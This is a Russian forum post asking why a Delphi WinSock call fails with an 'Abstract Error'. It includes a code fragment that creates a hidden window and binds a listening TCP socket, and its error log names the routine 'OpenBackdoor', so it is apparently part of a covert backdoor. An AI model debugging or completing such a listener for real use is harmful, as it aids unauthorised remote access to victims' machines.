Вот мой код: (Вырезал кусочек)
| Код | Var wsAd: WSAData; sin: sockaddr_in; ClassName, AppName: PChar; Begin Try Try // Initialize socket. If WSAStartup( c_SocketsVersionHEX, wsAd ) <> 0 Then Begin // Return socket error. OnError( 'WinSock Error! Error # ' + IntToStr( WSAGetLastError ) ); WSACleanup( ); // Cleanup WSA. Exit; // Exit. End Else Begin { Working with socket } Sock := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 ); // Create TCP sock. // TODO: Gere abstract error.! If Sock = INVALID_SOCKET Then OnError( 'WinSock Error! Error - Invalid Socket!' ) Else Begin // Socket already exists. ClassName := 'TExForm'; AppName := 'ExForm'; //----- Create window Handle := CreateWindowEx( 0, ClassName, AppName, WS_DISABLED, 10, 120, 90, 20, 0, 0, 0, Nil ); ShowWindow( Handle, SW_HIDE ); UpdateWindow( Handle ); //----- Working with socket. WSAAsyncSelect( Sock, Handle, WM_SOCKET, FD_ACCEPT + FD_READ + FD_CLOSE ); // On read/write message to we's window. sin.sin_family := AF_INET; // Sock type = INET. sin.sin_port := htons( s_ListenPort ); // Port bind( sock, sin, SizeOf( sin ) ); // Bind socket. listen( sock, 1 ); // And listen. //------------------------------------------------------------------------- // Good. Socket listening and binded. End; End; Except Result := False; DebugLog( 'OpenBackdoor error !' ); End Finally Result := True; End
|
WsaSocketA(); Определен как:
| Код | Function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: Pointer; g, dwFlags: dword ): integer; Stdcall; External 'ws2_32.dll';
|
OnError(); - Обработчик ошибок. DebugLog(); - Тоже.
Ошибка возникает на WSASocketA(); Написано "Abstract Error". Почему? |